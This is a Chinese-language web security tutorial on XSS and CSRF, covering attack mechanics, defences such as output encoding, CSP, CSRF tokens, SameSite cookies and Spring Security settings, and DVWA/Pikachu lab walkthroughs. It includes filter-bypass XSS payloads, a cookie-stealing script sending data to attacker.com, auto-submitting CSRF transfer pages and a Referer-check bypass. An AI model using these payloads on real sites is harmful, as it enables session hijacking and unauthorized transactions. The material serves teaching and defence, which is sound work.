Web安全实战:XSS与CSRF攻击原理、防御策略与靶场演练
2026/7/6 10:01:01 网站建设 项目流程

1. 项目概述:从“知道”到“防住”的必经之路

在Web开发与安全领域,XSS(跨站脚本攻击)和CSRF(跨站请求伪造)是两个绕不开的经典话题。无论你是刚入行的前端工程师、后端开发者,还是负责系统架构的安全负责人,如果对这两种攻击方式的理解还停留在“听说过”的层面,那么你的应用很可能正暴露在巨大的风险之下。我见过太多项目,功能做得花里胡哨,却在最基本的输入框、评论框或者一个简单的转账接口上栽了跟头,导致用户数据泄露甚至资金损失。这篇文章,我就结合自己十多年踩坑和填坑的经验,把XSS和CSRF掰开揉碎了讲清楚,不仅告诉你它们是什么,更要讲明白它们怎么发生、如何攻击、以及最关键的——如何从设计和代码层面进行有效防御。这不是一篇照本宣科的理论文章,而是一份可以直接用于代码审查和方案设计的实战指南。

2. XSS攻击:深入原理、攻击手法与实战防御

2.1 XSS攻击的核心原理与三种类型拆解

XSS,全称Cross-Site Scripting,为了和CSS(层叠样式表)区分而简称XSS。它的本质是“注入”,攻击者成功将恶意脚本(通常是JavaScript)注入到网页中,当其他用户浏览该页面时,恶意脚本就会在其浏览器环境中执行。这里的关键在于“信任”,浏览器默认信任并执行从服务器接收到的内容,而XSS正是滥用了这份信任。

根据恶意脚本的“存储”和“触发”位置,XSS主要分为三类:反射型、存储型和DOM型。很多人容易混淆,我画个简单的思维导图来区分:反射型和存储型都需要经过服务器(后端),区别在于恶意输入是否被持久化;而DOM型则完全发生在客户端(前端),不经过服务器处理。

存储型XSS(持久型):这是危害最大的一种。攻击者将恶意脚本提交到网站的后端数据库(比如论坛发帖、用户评论、个人简介),当其他用户访问包含该数据的页面时,脚本从服务器加载并执行。它的特点是“一次注入,持续影响”,所有访问该页面的用户都会中招。2015年喜马拉雅的专辑名称XSS漏洞就是典型例子,攻击者将专辑名设置为一段JavaScript代码,服务器未过滤直接存入数据库,导致任何查看该专辑的用户都会执行恶意代码,Cookie等信息被窃取。

反射型XSS(非持久型):这种攻击更像“钓鱼”。恶意脚本并不存储在服务器,而是作为请求的一部分(通常是URL参数)发送给服务器,服务器未经处理直接“反射”回响应页面中。攻击者需要诱骗用户点击一个精心构造的链接。例如,一个搜索功能将搜索关键词原样显示在结果页:https://vulnerable-site.com/search?q=<script>alert('xss')</script>。如果服务器没有对q参数进行过滤,那么<script>标签就会被输出到页面并执行。它的利用成本稍高,需要用户主动点击链接。

DOM型XSS:这是纯前端的漏洞。恶意脚本的注入和执行完全在浏览器端完成,不涉及与服务器的交互(或者说,服务器返回的是正常的、无害的数据)。漏洞源于前端JavaScript代码不安全地操作了DOM。例如,一段JS代码从location.hash(URL的#后面部分)获取内容,并直接用innerHTML插入到页面中:document.getElementById('output').innerHTML = location.hash.substring(1);。攻击者构造一个URL:https://site.com/page#<img src=1 onerror=stealCookie()>,用户访问时,onerror事件就会被触发。这种攻击更难被传统的服务端WAF(Web应用防火墙)检测到。

2.2 从攻击者视角看XSS漏洞挖掘与利用

理解了原理,我们换到攻击者视角,看看他们是如何发现和利用XSS漏洞的。这能帮助我们更好地进行防御。

第一步:寻找注入点。攻击者会系统地测试所有用户输入的地方。这不仅仅是表单输入框,还包括:

  • URL参数(?id=xxx
  • HTTP请求头(如User-Agent,Referer,有时会被记录并显示在管理后台)
  • 文件上传功能(如果上传的文件名被显示)
  • 富文本编辑器(允许HTML输入的地方)
  • AJAX请求的响应数据

第二步:测试过滤与编码机制。攻击者会尝试输入各种Payload来探测系统的防御边界。他们会从最简单的<script>alert(1)</script>开始,如果被拦截,就会尝试变体:

  • 大小写混淆:<ScRiPt>alert(1)</sCrIpT>
  • 使用HTML实体编码绕过:如果服务器只过滤<script>,但不过滤<img>,就可以用<img src=x onerror=alert(1)>
  • 利用JavaScript事件:<svg onload=alert(1)><body onload=alert(1)>
  • 拆分拼接:如果过滤了“script”,可以尝试<scr<script>ipt>,也许中间的被过滤,两边的拼成了新的<script>
  • 利用伪协议:<a href="javascript:alert(1)">点击</a>

第三步:构造利用Payload。一旦确认存在漏洞,攻击者就会将测试用的alert(1)替换成真正的恶意代码。核心目的通常是窃取用户凭证(Cookie、LocalStorage)、发起恶意操作(如转账)、或进行“水坑攻击”(劫持页面流量)。一个经典的窃取Cookie的Payload可能是:

<script>new Image().src='http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie);</script>

这段代码会向攻击者的服务器发送一个携带当前用户Cookie的GET请求。

实操心得:在内部安全测试或代码审计时,不要只测alert(1)。要模拟真实攻击,尝试构造能外带数据的Payload,比如让页面向一个你控制的日志服务器发起请求,验证漏洞的切实危害性。很多开发人员觉得弹个窗没什么,但换成窃取管理员Session的代码,严重性立刻就不同了。

2.3 构建多层次、纵深化的XSS防御体系

防御XSS不是靠单一手段,而需要一个从输入到输出、从服务端到客户端的纵深防御体系。以下是经过实战检验的防御策略,按推荐程度和实施层面排列。

1. 严格的输入验证与输出编码(治本之策)这是最重要的一环,原则是:对任何不可信的数据进行输出编码

  • 服务端输出编码:根据数据将要放置的上下文,采用不同的编码方式。
    • HTML上下文:将<,>,&,",'等字符转换为HTML实体。例如,<变成&lt;>变成&gt;。现代Web框架(如React, Vue, Angular)默认对插值表达式进行HTML转义,这是巨大的进步。但如果使用v-htmldangerouslySetInnerHTML,就必须格外小心。
    • JavaScript/JSON上下文:如果要将用户输入嵌入到<script>标签或JS变量中,必须进行JavaScript编码。通常使用\uXXXX形式的Unicode转义。更好的做法是避免动态生成JS代码,而是通过安全的API(如JSON.stringify)传递数据。
    • URL上下文:如果用户输入要作为URL的一部分(如hrefsrc属性),必须进行URL编码。注意,要编码整个URL,而不仅仅是参数值。
    • CSS上下文:极少见,但也需注意。

2. 内容安全策略(CSP)—— 最后的防线CSP是一个HTTP响应头,它告诉浏览器只允许加载和执行来自哪些来源的资源。即使攻击者成功注入了脚本,如果脚本的来源不在白名单内,浏览器也不会执行。一个严格的CSP头能极大降低XSS的危害。

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none';

这个策略的含义是:默认只允许加载同源资源;脚本只允许来自同源和https://trusted.cdn.com;完全禁止<object>等插件。'unsafe-inline''unsafe-eval'是万不得已才使用的选项,应尽量避免。

3. 使用HttpOnly Cookie保护会话通过设置Cookie的HttpOnly属性,可以阻止JavaScript通过document.cookie访问该Cookie。这对于保护会话ID(Session ID)至关重要。即使发生XSS攻击,攻击者也无法直接窃取标记为HttpOnly的Cookie。

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

注意,这并不能防止攻击者利用XSS以用户的身份执行操作(因为浏览器发起请求时会自动携带Cookie),但它能防止会话被直接窃取后在其他地方使用。

4. 其他辅助措施

  • 输入过滤:在服务端对输入进行过滤,移除或禁用明确的危险字符和标签。但不要依赖它作为主要防御,因为过滤规则很容易被绕过。它可以作为一道额外的筛查。
  • 富文本处理:对于需要富文本(如博客评论)的场景,使用严格的白名单机制(如DOMPurify这样的库),只允许安全的标签和属性,并过滤所有事件处理器(如onclick)和javascript:伪协议。
  • 定期安全扫描与代码审计:将XSS漏洞检查纳入CI/CD流程,使用SAST(静态应用安全测试)和DAST(动态应用安全测试)工具。

注意事项:防御DOM型XSS需要特别注意。因为数据不经过服务端,所以服务端的输出编码和CSP是主要防御手段。在编写前端JavaScript时,避免使用innerHTMLouterHTMLdocument.write()等危险方法,优先使用textContentsetAttribute。如果必须操作HTML,使用DOMPurify对内容进行净化。

3. CSRF攻击:原理透析、攻击模拟与根治方案

3.1 理解CSRF的攻击逻辑与必要条件

如果说XSS是利用用户对网站的信任,那么CSRF(跨站请求伪造)就是利用网站对用户浏览器的信任。它的攻击过程可以概括为:攻击者诱导已登录用户访问恶意页面,该页面自动向目标网站发起一个用户不知情的请求,由于浏览器会自动携带用户的Cookie等认证信息,目标网站会认为这是用户的合法操作。

要成功实施一次CSRF攻击,三个条件缺一不可:

  1. 目标网站存在CSRF漏洞:即关键操作(如修改密码、转账、发帖)的请求容易被伪造,且没有有效的CSRF防护令牌(Token)或其他验证机制。
  2. 用户已登录目标网站并保持会话:用户的浏览器中存有目标网站的有效Cookie(Session)。
  3. 用户访问了攻击者构造的页面:这个页面可能通过邮件、论坛、社交网站等渠道传播。

攻击者完全不需要窃取用户的密码或Cookie,他只是在借用用户的“登录状态”。一个经典的比喻是:你登录了网上银行(条件2),银行有个转账接口只要登录就能用,不需要二次确认(条件1),然后你不小心点了一个恶意链接(条件3),你的钱就在不知不觉中被转走了。

3.2 三种常见的CSRF攻击方式实战推演

我们以一个虚构的银行转账接口https://bank.com/transfer来演示,它接受POSTGET请求,参数是to_account(收款账户)和amount(金额)。

方式一:自动发起GET请求(利用<img><iframe>等标签)这是最简单的方式。攻击者在他的页面上放置一个资源标签,其src指向目标网站的敏感接口。

<!-- 恶意页面内容 --> <h1>免费抽奖!</h1> <img src="https://bank.com/transfer?to_account=ATTACKER_ACCOUNT&amount=10000" width="0" height="0" />

当用户访问这个“抽奖”页面时,浏览器会尝试加载那张“图片”,实际上向银行发送了一个转账GET请求。因为用户已登录银行,请求会自动携带Cookie,银行服务器处理请求,转账完成。攻击者甚至可以把图片设为不可见,做到神不知鬼不觉。

方式二:自动提交POST请求(利用隐藏表单和JavaScript)很多敏感操作使用POST方法,认为比GET安全。但在CSRF面前,POST同样脆弱。

<!-- 恶意页面内容 --> <body onload="document.forms[0].submit()"> <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="to_account" value="ATTACKER_ACCOUNT" /> <input type="hidden" name="amount" value="10000" /> </form> </body>

页面加载后,JavaScript会自动提交这个隐藏的表单,一个POST转账请求就被悄无声息地发出了。

方式三:诱导用户点击链接(社交工程)这种方式需要用户交互,但伪装性更强。

<p>您的好友给您分享了一张有趣的照片:<a href="https://bank.com/transfer?to_account=ATTACKER_ACCOUNT&amount=10000">点击查看</a></p>

用户点击链接,触发GET请求,攻击完成。

实操心得:在安全测试中,不要只测试GET请求的CSRF。用Burp Suite等工具抓取一个正常的POST请求,然后使用“Generate CSRF PoC”功能,可以快速生成上述第二种攻击方式的HTML代码。将其保存为HTML文件,在已登录目标网站的情况下用浏览器打开,就能验证漏洞是否存在。这个过程能让你深刻理解CSRF的自动化攻击威力。

3.3 全面防御CSRF攻击的三大核心策略

防御CSRF的核心思路是打破“请求自动携带凭证”这个假设,让服务器能区分“用户自愿发起的请求”和“被伪造的请求”。

1. 使用CSRF Token(同步令牌模式)这是目前最主流、最有效的防御手段。其原理是:

  • 服务器在用户会话中生成一个随机、不可预测的令牌(Token),并将其同时发给客户端(通常藏在表单的隐藏域或Meta标签里)。
  • 客户端在发起敏感请求(POST/PUT/DELETE)时,必须将这个Token作为参数(通常是表单字段或请求头)一并提交。
  • 服务器收到请求后,比对请求中的Token和会话中存储的Token是否一致。不一致则拒绝请求。

因为攻击者无法提前知晓或窃取这个与特定用户会话绑定的Token(得益于同源策略),所以他构造的请求中无法包含有效的Token,攻击便会失败。

<!-- 服务器渲染的表单 --> <form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="随机生成的、与Session绑定的长字符串" /> <!-- 其他表单字段 --> <input type="submit" value="转账" /> </form>

对于单页应用(SPA),Token可以通过首次页面加载的API响应获取,然后在后续请求中通过自定义HTTP头(如X-CSRF-Token)携带。关键点:Token必须足够随机(使用密码学安全的随机数生成器),并且与用户会话关联。同时,要确保Token不通过GET请求泄露(例如,不要放在URL中)。

2. 验证请求来源:Origin与Referer头服务器可以检查HTTP请求头中的OriginReferer字段,判断请求是否来自合法的源(即自己的网站)。

  • Origin头:包含了发起请求的站点的协议、域名和端口(如https://www.your-site.com)。对于跨域请求(如通过fetchXMLHttpRequest发起的),浏览器会自动添加此头。同源请求通常不包含。服务器可以检查Origin值是否在白名单内(通常是自己的域名)。
  • Referer头:包含了请求来源页面的完整URL。但它的可靠性稍差,因为有些用户代理出于隐私考虑可能不发送,或者被代理服务器剥离。同时,Referer可能包含路径等敏感信息。

实施建议:优先检查Origin头,如果不存在或为空,再考虑检查Referer头。这是一个有效的辅助防御手段,但不能作为唯一依赖,因为某些情况下这些头可能被篡改或缺失。

3. 利用Cookie的SameSite属性这是浏览器提供的一种从源头遏制CSRF的机制。通过设置Cookie的SameSite属性,可以控制Cookie在跨站请求时是否被发送。

  • SameSite=Strict:最严格。Cookie仅在同站请求(即当前页面URL与请求目标URL的eTLD+1相同)时发送。这意味着从其他网站链接过来时,用户处于未登录状态。用户体验影响最大,但安全性最高。
  • SameSite=Lax(现代浏览器的默认值)。宽松模式。在跨站请求中,只有安全的顶层导航(如点击链接)会发送Cookie,而像<img>,<script>加载,或表单POST提交则不会。这基本阻止了大多数CSRF攻击,同时保持了主要的用户体验(用户可以从其他网站链接过来并保持登录)。
  • SameSite=None:Cookie在所有上下文中发送,但必须同时设置Secure属性(即仅通过HTTPS传输)。适用于需要跨站共享登录状态的场景,如第三方登录、嵌入式组件。

对于绝大多数应用,将会话Cookie设置为SameSite=LaxStrict,是成本最低、效果显著的CSRF防护措施。

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax

注意事项:CSRF Token和SameSite属性是互补的,建议同时使用。SameSite是浏览器层面的防护,能挡住大部分“简单”的CSRF攻击。CSRF Token是应用层面的防护,更为彻底和可靠。对于关键操作(如转账、修改密码),务必使用CSRF Token。同时,要意识到“登录状态”不仅限于Cookie,如果应用使用Bearer Token(放在Authorization头中),由于浏览器不会自动在跨站请求中携带该头,因此天然免疫基于Cookie自动携带的CSRF攻击,但需防范XSS导致Token泄露的风险。

4. 实战场景:DVWA与Pikachu靶场通关精要

理论学习之后,最好的巩固方式就是动手实操。DVWA(Damn Vulnerable Web Application)和Pikachu是两个经典的Web安全学习靶场。下面我以从业者视角,解析其中XSS和CSRF关卡的核心要点与绕过思路,这比单纯看答案更有价值。

4.1 DVWA靶场:CSRF模块攻击实战与防御绕过

DVWA的CSRF模块设置了Low、Medium、High三个安全级别,模拟了不同强度的防御。

Low级别:毫无防护这是最原始的状态,修改密码的请求只是一个简单的GET请求,参数直接暴露在URL中。

http://dvwa.local/vulnerabilities/csr/?password_new=123&password_conf=123&Change=Change#

攻击者只需构造一个包含此URL的图片标签或链接即可。防御方案就是引入上述的CSRF Token或SameSite Cookie。

Medium级别:尝试验证Referer查看源码,发现服务器会检查HTTP请求的Referer头,判断是否包含自己的主机名(如dvwa.local)。

if( stripos( $_SERVER[ 'HTTP_REFERER' ] , $_SERVER[ 'SERVER_NAME' ] ) !== false ) { // 通过检查 }

绕过思路:这种检查存在逻辑缺陷。攻击者可以构造一个子域名或路径中包含目标主机名的页面。例如,攻击者注册域名dvwa.local.attacker.com,或在自己的网站attacker.com上创建一个名为dvwa.local的目录,然后将恶意页面放在http://attacker.com/dvwa.local/attack.html。这样,当用户从该页面发起请求时,Referer头为http://attacker.com/dvwa.local/attack.html,其中包含了字符串dvwa.local,从而绕过检查。另一种方法是,如果服务器仅检查Referer是否存在,而不检查其内容,攻击者有时可以通过某些手段(如利用某些浏览器的漏洞或通过Flash等旧技术)发起一个没有Referer头的请求。

High级别:使用CSRF TokenHigh级别使用了CSRF Token。每次访问修改密码页面时,服务器会生成一个随机的user_token,并隐藏在表单中。提交修改请求时,必须携带正确的user_token

<input type="hidden" name="user_token" value="随机字符串" />

攻击挑战:由于Token是随机的且与用户会话绑定,攻击者无法直接构造包含有效Token的请求。经典的绕过思路是结合XSS漏洞。如果网站同时存在一个XSS漏洞(哪怕是反射型的),攻击者就可以先利用XSS漏洞,注入一段JavaScript代码,该代码会向修改密码页面发起一个请求,解析出页面中的Token,然后再用这个Token构造一个真正的修改密码请求并自动提交。这属于“XSS + CSRF”的组合攻击。因此,防御必须是全方位的,一个环节的漏洞可能导致整个防御体系崩塌。

4.2 Pikachu靶场:XSS漏洞挖掘与利用链条

Pikachu靶场提供了更丰富的XSS场景,包括反射型、存储型、DOM型。

反射型XSS:重点在于寻找所有可能的输入点并测试输出上下文。不要只盯着搜索框。尝试在URL参数、POST数据包中的每一个字段插入测试Payload。观察响应是如何处理的:是直接输出到HTML中?还是输出到JavaScript变量里?或者是作为标签属性?不同的上下文需要不同的Payload。例如,如果输入被直接放到<div>标签内,可以用<script><img onerror>;如果被放到<input value="...">里,你需要先闭合引号和标签:"><script>alert(1)</script>

存储型XSS:关键在于持久化。在留言板、个人信息等会被保存并展示给其他用户的地方进行测试。测试时,要思考两个问题:1. 输入在哪里被过滤或编码?2. 输出在哪里,以什么形式?有时输入时过滤了<script>,但输出时可能因为富文本编辑器允许某些HTML标签而再次引入风险。存储型XSS的利用往往更直接,因为受害者只是正常浏览网站。

DOM型XSS:这是纯前端的“逻辑漏洞”。你需要仔细阅读前端JavaScript代码,寻找那些从用户可控源(如location.hashlocation.searchdocument.referrerwindow.name)获取数据,并不安全地传递给“接收器”(Sink)的函数。常见的危险接收器包括:innerHTMLouterHTMLdocument.write()eval()setTimeout()setInterval()以及某些能执行字符串的API。例如:

var hash = location.hash.substring(1); document.getElementById('msg').innerHTML = hash; // 危险!

攻击者构造URL:#<img src=1 onerror=alert(1)>,即可触发。防御方法是避免使用危险的接收器,或对来自不可信源的数据进行严格的编码/净化。

避坑技巧:在测试XSS时,使用一个简单的测试向量库会事半功倍。例如,可以准备一系列Payload,从简单到复杂:

  1. "><script>alert(1)</script>
  2. 'onfocus='alert(1) autofocus
  3. <svg/onload=alert(1)>
  4. javascript:alert(1)逐个测试,观察页面的反应和过滤规则。同时,打开浏览器的开发者工具(F12),在“控制台”查看是否有JavaScript错误,在“网络”标签查看是否有意料之外的请求发出,这对于发现盲打XSS(Blind XSS)或外带数据的Payload非常有用。

5. 框架级防护与进阶安全考量

在现代Web开发中,我们很少从零开始实现所有安全逻辑。主流框架都内置了一些安全机制,理解并正确使用它们至关重要。

5.1 Spring Boot中的XSS与CSRF防护

Spring Boot作为流行的Java后端框架,提供了开箱即用的安全支持,主要通过Spring Security模块实现。

XSS防护

  • 输入输出编码:Spring MVC默认使用Thymeleaf、FreeMarker等模板引擎,它们通常会对表达式输出进行HTML转义。例如Thymeleaf的th:text属性会自动转义,而th:utext(Unescaped Text)则不会,使用时需谨慎。
  • JSON序列化:使用Jackson库序列化对象到JSON时,默认不会对字符串进行HTML转义。如果前端直接将这些JSON值插入HTML,可能引发XSS。因此,前端在渲染来自API的JSON数据时,必须自行进行输出编码。
  • 使用@RequestBody@ResponseBody:配合Jackson,可以方便地处理JSON,但需注意上述前端渲染问题。
  • 自定义过滤器:可以创建过滤器(Filter)对请求参数进行全局的XSS过滤,但要注意可能带来的性能问题和误杀(如富文本内容)。更推荐在输出时根据上下文进行编码。

CSRF防护: Spring Security默认启用了CSRF保护。它的工作原理就是前面讲的CSRF Token

  • 对于表单提交:Spring Security会自动在表单中添加一个名为_csrf的隐藏字段,值为Token。
  • 对于AJAX请求:你需要将Token放在请求头中。Spring Security默认期望的头名是X-CSRF-TOKEN。Token的值可以从Meta标签或Cookie中获取(Spring Security会设置一个名为XSRF-TOKEN的Cookie)。
  • 配置:在Spring Security配置类中,.csrf().disable()会禁用CSRF保护,这在开发阶段或纯API服务(且使用非Cookie认证时)可能会用到,但生产环境下有状态服务务必开启。

关键配置示例

@Configuration @EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http .csrf() // 默认是开启的 .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) // 将Token放在Cookie中,方便前端JS读取 .and() // ... 其他配置 } }

前端在发起非幂等的AJAX请求(POST, PUT, DELETE)时,需要从Cookie读取XSRF-TOKEN的值,并将其作为X-CSRF-TOKEN请求头发送。

5.2 单页应用与API安全的新挑战

在前后端分离的SPA架构中,XSS和CSRF的防御有一些新的特点:

  • XSS风险更高:因为渲染逻辑完全在前端,任何从API获取的不受信数据,如果通过innerHTML或类似危险方式插入DOM,都会导致XSS。必须严格使用前端框架(如React的{variable}、Vue的{{ }})的默认转义功能,或使用DOMPurify处理动态HTML。
  • CSRF防御演变
    • Cookie + Token模式:如上文Spring Boot示例,依然有效。
    • JWT(JSON Web Token)模式:如果认证信息是放在Authorization: Bearer <token>头中的JWT,由于浏览器不会自动在跨站请求中携带该头,因此天然免疫基于Cookie的CSRF攻击。这是JWT的一大优势。但需注意,JWT需要通过安全的途径(如HTTPS下的登录接口)获取并存放在安全的地方(如HttpOnly Cookie或内存中),防止被XSS窃取。
    • 双重提交Cookie:一种简化模式,服务器在Cookie中设置一个随机值,前端JS读取该Cookie值,并在每次请求时将其作为自定义头或参数发送。服务器验证两者是否一致。这要求Cookie不能是HttpOnly。

5.3 安全开发生命周期与自动化检查

安全不是功能开发完后的“附加项”,而应贯穿整个开发流程。

  1. 需求与设计阶段:识别敏感操作(如支付、改密、授权),明确其必须包含CSRF Token等防护。
  2. 编码阶段
    • 使用安全的API和框架功能。
    • 对代码进行安全培训,避免常见的漏洞模式。
    • 在代码仓库中配置预提交钩子(pre-commit hooks),运行简单的代码安全扫描。
  3. 测试阶段
    • SAST:使用SonarQube、Checkmarx等工具进行静态代码扫描,发现潜在的安全漏洞模式。
    • DAST:使用OWASP ZAP、Burp Suite等工具对运行中的应用进行动态扫描,模拟攻击。
    • 依赖扫描:使用OWASP Dependency-Check、Snyk等工具检查项目依赖库中的已知漏洞。
  4. 部署与运维阶段
    • 确保生产环境启用HTTPS、安全的HTTP头(如CSP, HSTS)。
    • 建立漏洞响应机制,定期进行安全审计和渗透测试。

最后,安全是一个持续的过程,没有一劳永逸的银弹。保持对常见漏洞原理的清醒认识,建立纵深防御体系,并借助框架和工具的力量,才能让你的Web应用在攻防对抗中立于不败之地。在实际开发中,每当你处理用户输入、输出数据或设计一个API接口时,多问自己一句:“这里会不会有XSS或CSRF的风险?” 这个简单的习惯,可能就是避免下一次安全事件的关键。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询